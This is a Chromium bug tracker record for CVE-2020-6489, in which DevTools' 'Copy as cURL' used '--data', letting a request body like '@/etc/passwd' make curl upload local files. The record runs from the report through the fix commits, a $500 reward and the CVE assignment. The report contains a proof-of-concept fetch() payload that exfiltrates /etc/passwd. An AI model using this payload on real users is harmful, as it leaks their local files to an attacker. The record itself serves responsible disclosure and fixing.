




☆ Starred by 1 user

Owner:	 janscheffler@chromium.org Last visit > 30 days ago
CC:	 sigurds@chromium.org  dsv@google.com
Status:	Fixed (Closed)
Components:	Platform>DevTools>Network
Modified:	May 20, 2020
Backlog-Rank:	----
Editors:	----
EstimatedDays:	----
NextAction:	----
OS:	Linux , Windows , Chrome , Mac
Pri:	2
Type:	Bug-Security
reward-500 Security_Severity-Low Security_Impact-Stable allpublic reward-inprocess CVE_description-submitted Release-0-M83 CVE-2020-6489 Team-DevTools-WebDebugging	

Issue 1050756: Security: 'Copy As Curl' in the network panel of the devtools uses '--data' instead of '--data-raw', leading to arbitrary local file access
Reported by pere....@gmail.com on Mon, Feb 10, 2020, 4:19 PM EST

 Code

VULNERABILITY DETAILS

The chrome dev tools have a 'network' panel, where all the requests made by the current webpage are listed.
In this panel, the user can right-click on a query, and then select 'Copy As cURL'.
The issue is that the body of the request is passed to curl using '--data' instead of '--data-raw', allowing an attacker to include an user's local file in the request curl will make.
Citing curl's man page :

If you start the data with the letter @, the rest should be a file name to read the data from, or - if you want curl to read the data from stdin. Multiple files can also be specified.
Posting data from a file named from a file like that, carriage returns and newlines will be stripped out. If you don't want the @ character to have a special interpretation use --data-raw instead.

An attacker can use this bug to read local files on the computer of an user of the "Copy as curl" functionality. The only thing he has to do is making a request such as the following :

```
fetch(", {body:'@/etc/passwd', method:'POST', headers:({'Content-Type':'application/x-www-form-urlencoded'}})
```

When the user will use 'copy as curl' on the generated request, and then execute the curl command, the contents of /etc/passwd will be sent to the attacker's server.

Fixing this bug is as simple as using --data-raw instead of --data in https://github.com/ChromeDevTools/devtools-frontend/blob/0ed1d2b/front_end/network/NetworkLogView.js#L1952-L1956

This bug is related to another bug I reported earlier: [cbug.com/1049089](https://bugs.chromium.org/p/chromium/issues/detail?id=1049089)

VERSION

Tested on Chromium 79.0.3945.130

REPRODUCTION CASE

1. Serve the attached file over HTTP and open it in chrome
2. In the network development tools, right click the latest request and choose "copy as curl"
3. Paste the command you copied to a terminal and press enter

Expected result:
The literal string '@/etc/passwd' is sent to the attacker's server

Actual result:
The contents of the file /etc/passwd on the user's computer is sent to the attacker's server.

CREDIT INFORMATION

Reporter credit: Ophir LOJKINE

bug.html

131 bytes [View](#) [Download](#)

Comment 1 by [carlosil@chromium.org](#) on Mon, Feb 10, 2020, 6:05 PM EST Project Member

Triaging similarly to [bug.com/1040960](#). janscheffler can you PTAL? Feel free to reassign as appropriate

Comment 2 by [carlosil@chromium.org](#) on Mon, Feb 10, 2020, 6:06 PM EST Project Member

Status: Assigned (was: Unconfirmed)

Owner: janscheffler@chromium.org

Labels: Security_Severity-Low Security_Impact-Stable OS-Chrome OS-Linux OS-Mac OS-Windows

Components: Platform>DevTools>Network

Comment 3 by [bmeu...@chromium.org](#) on Tue, Feb 11, 2020, 2:57 AM EST Project Member

Cc: sigurds@chromium.org

Comment 4 by [janscheffler@chromium.org](#) on Tue, Feb 11, 2020, 3:46 AM EST Project Member

Status: Started (was: Assigned)

Comment 5 by [bugdroid](#) on Tue, Feb 11, 2020, 6:39 AM EST Project Member

The following revision refers to this bug:

<https://chromium.googlesource.com/chromium/src.git/+d80e707a09e7615592a0e6f66fab3225fc28bbc3>

commit [d80e707a09e7615592a0e6f66fab3225fc28bbc3](#)

Author: Jan Scheffler <[janscheffler@chromium.org](#)>

Date: Tue Feb 11 11:37:46 2020

[DevTools] Disable test to land change

Tbr: [yangguo@chromium.org](#)

[Bug-chromium:1050756](#)

Change-Id: [leb0d3b0110e02373053900922e54112d05321dc8](#)

Reviewed-on: <https://chromium-review.googlesource.com/c/chromium/src/+2049968>

Auto-Submit: Jan Scheffler <[janscheffler@chromium.org](#)>

Reviewed-by: Yang Guo <[yangguo@chromium.org](#)>

Commit-Queue: Yang Guo <[yangguo@chromium.org](#)>

Cr-Commit-Position: refs/heads/master@{#740264}

[modify] https://crrev.com/d80e707a09e7615592a0e6f66fab3225fc28bbc3/third_party/blink/web_tests/TestExpectations

Comment 6 by [bugdroid](#) on Tue, Feb 11, 2020, 8:38 AM EST Project Member

Status: Fixed (was: Started)

The following revision refers to this bug:

<https://chromium.googlesource.com/devtools/devtools-frontend/+441bb6a89adeb9b8e77dee58ddc860ac07934054>

commit [441bb6a89adeb9b8e77dee58ddc860ac07934054](#)

Author: Jan Scheffler <[janscheffler@chromium.org](#)>

Date: Tue Feb 11 13:37:16 2020

Fix escaping for Copy as cURL

This cl changes the Copy as cURL implementation to use

--data-raw instead of --data.

[Fixed-chromium:1050756](#)

Change-Id: [10c8870dbb77d1d5396ccdc67bd8be5996de036f9](#)

Reviewed-on: <https://chromium-review.googlesource.com/c/devtools/devtools-frontend/+2050227>

Commit-Queue: Jan Scheffler <[janscheffler@chromium.org](#)>

Reviewed-by: Yang Guo <[yangguo@chromium.org](#)>

Reviewed-by: Sigurd Schneider <[sigurds@chromium.org](#)>

[modify] https://crrev.com/441bb6a89adeb9b8e77dee58ddc860ac07934054/front_end/network/NetworkLogView.js

Comment 7 by [sheriffbot](#) on Fri, Feb 14, 2020, 7:34 PM EST Project Member

Labels: Pri-2

Setting Pri-2 to match security severity Low. If this is incorrect, please reset the priority. Sheriffbot won't make this change again.

For more details visit <https://www.chromium.org/issue-tracking/autotriage> - Your friendly Sheriffbot

Comment 8 by [sheriffbot](#) on Fri, Feb 14, 2020, 7:49 PM EST Project Member

Labels: -Restrict-View-SecurityTeam Restrict-View-SecurityNotify

Comment 9 by [bugdroid](#) on Mon, Feb 17, 2020, 9:04 AM EST Project Member

The following revision refers to this bug:

<https://chromium.googlesource.com/chromium/src.git/+7a736576f2cf8c11f26338f4c95e1143a8757fd9>

commit [7a736576f2cf8c11f26338f4c95e1143a8757fd9](#)

Author: Jan Scheffler <[janscheffler@chromium.org](#)>

Date: Mon Feb 17 14:03:51 2020

[DevTools] Update test expectations

CL with actual changes: crrev.com/c/2050227

[Bug-chromium:1050756](#)

Change-Id: [1d0bb12f795730c2dd7d894f6a6777a7bd9b478f4](#)

Reviewed-on: <https://chromium-review.googlesource.com/c/chromium/src/+2049976>

Commit-Queue: Jan Scheffler <[janscheffler@chromium.org](#)>

Reviewed-by: Yang Guo <[yangguo@chromium.org](#)>

Reviewed-by: Sigurd Schneider <[sigurds@chromium.org](#)>

Cr-Commit-Position: refs/heads/master@{#741908}

[modify] https://crrev.com/7a736576f2cf8c11f26338f4c95e1143a8757fd9/third_party/blink/web_tests/TestExpectations

[modify] https://crrev.com/7a736576f2cf8c11f26338f4c95e1143a8757fd9/third_party/blink/web_tests/http/tests/devtools/copy-network-request-expected.txt

[modify] https://crrev.com/7a736576f2cf8c11f26338f4c95e1143a8757fd9/third_party/blink/web_tests/http/tests/devtools/copy-network-request.js

Comment 10 by [natashapabrai@google.com](#) on Tue, Feb 18, 2020, 11:14 AM EST Project Member

Labels: reward-topanel

[Comment 11](#) by natashapabrai@google.com on Wed, Feb 19, 2020, 7:00 PM EST Project Member

Labels: -reward-topanel reward-unpaid reward-500

*** Boilerplate reminders! ***

Please do NOT publicly disclose details until a fix has been released to all our users. Early public disclosure may cancel the provisional reward. Also, please be considerate about disclosure when the bug affects a core library that may be used by other products. Please do NOT share this information with third parties who are not directly involved in fixing the bug. Doing so may cancel the provisional reward. Please be honest if you have already disclosed anything publicly or to third parties. Lastly, we understand that some of you are not interested in money. We offer the option to donate your reward to an eligible charity. If you prefer this option, let us know and we will also match your donation - subject to our discretion. Any rewards that are unclaimed after 12 months will be donated to a charity of our choosing.

Please contact security-vrp@chromium.org with any questions.

[Comment 12](#) by natashapabrai@google.com on Wed, Feb 19, 2020, 7:07 PM EST Project Member

Congrats! The Panel decided to award \$500 for this report

[Comment 13](#) by natashapabrai@google.com on Wed, Feb 19, 2020, 7:08 PM EST Project Member

Labels: -reward-unpaid reward-inprocess

[Comment 14](#) by adetaylor@google.com on Fri, May 15, 2020, 3:55 PM EDT Project Member

Labels: Release-0-M83

[Comment 15](#) by adetaylor@chromium.org on Mon, May 18, 2020, 11:59 AM EDT Project Member

Labels: CVE-2020-6489 CVE_description-missing

[Comment 16](#) by [sheriffbot](#) on Tue, May 19, 2020, 2:53 PM EDT Project Member

Labels: -Restrict-View-SecurityNotify allpublic

This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit <https://www.chromium.org/issue-tracking/autotriage> - Your friendly Sheriffbot

[Comment 17](#) by adetaylor@chromium.org on Wed, May 20, 2020, 11:44 PM EDT Project Member

Labels: -CVE_description-missing CVE_description-submitted